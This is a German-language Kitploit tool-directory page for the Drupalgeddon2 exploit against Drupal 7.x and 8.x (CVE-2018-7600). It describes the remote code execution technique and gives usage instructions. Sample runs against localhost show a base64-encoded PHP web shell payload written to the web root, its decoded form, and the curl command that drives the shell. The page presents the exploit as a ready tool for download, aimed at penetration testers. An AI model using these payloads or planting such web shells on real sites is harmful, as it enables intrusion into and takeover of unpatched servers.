Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Drupalgeddon2 — Exploit für Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Tools/GitHubGitHub/dreadlocked/drupalgeddon2
Payload-GenerierungSchwachstellenanalyseExploitationShellcodeWebanwendungs-ExploitationPenetrationstests
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Exploit für Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Repository anzeigen
60016933vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Unterstützt:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL, Angriff auf account/mail & #post_render Parameter, unter Verwendung von PHPs passthru Funktion
  • Drupal < 7.58 ~ user/password URL, Angriff auf triggering_element_name-Formular & #post_render Parameter, unter Verwendung von PHPs passthru Funktion
  • Funktioniert mit direkten Befehlen (auch dateilose Methode) oder schreibt eine PHP-Shell in das Web-Root (./) oder Unterverzeichnisse (./sites/default/ & ./sites/default/files/)
  • Unterstützt Linux & Windows Ziele
  • Erkennt Drupal-Version automatisch (oder macht eine gute Schätzung!)

Die user/register Methode wurde für Drupal v8.x gewählt, da sie HTTP 200 zurückgibt und die Ausgabe in der data JSON-Antwort rendert (kommentieren Sie den Code für timezone/#lazy_builder Methode aus, die HTTP 500 zurückgibt und blind ist!) (Weitere Informationen)

Autoren:

  • Hans Topo (@_dreadlocked)
  • g0tmi1k (@g0tmi1k)

Hinweise:

  • Für fortgeschrittene Benutzer/Setups gibt es einen anpassbareren Exploit. Siehe den Abschnitt drupalgeddon2-customizable-beta.rb
  • Bevor Sie ein Issue eröffnen, lesen Sie bitte den Fehlerbehebungsabschnitt am Ende. Danke!

Verwendung:

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

Die Parameter --verbose und --authentication können in beliebiger Reihenfolge nach hinzugefügt werden und sind beide optional. Wenn --authentication angegeben wird, werden Sie aufgefordert, Folgendes einzugeben:

  • Benutzername,
  • Passwort,
  • Formularfeldname für Benutzername,
  • Formularfeldname für Passwort,
  • URL-Pfad zur Web-Loginseite, z.B. user/login
  • eventuelles Suffix, das nach den Anmeldeinformationen im Formularübermittlung angehängt werden soll, z.B. form_id, etc.

Dies dient zur Unterstützung von Websites, die zuerst einen POST-basierten Web-Login erfordern und nach erfolgreicher Authentifizierung mit einem Session-Cookie antworten.

Drupal v8.x Beispiel

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBBJJBP
[+] Result : TTTBBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Drupal v7.x Beispiel

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

Direkte Befehle / Keine PHP-Shell (auch dateilose Methode)

Wenn Sie nicht einmal versuchen möchten, eine PHP-Webshell auf den Webserver zu schreiben, bearbeiten Sie die Datei wie gezeigt (es wird auf einen anderen Pfad zurückfallen, falls kein beschreibbarer Ort gefunden wird):

try_phpshelltryphpshell = false

Beispiel

Tool herunterladen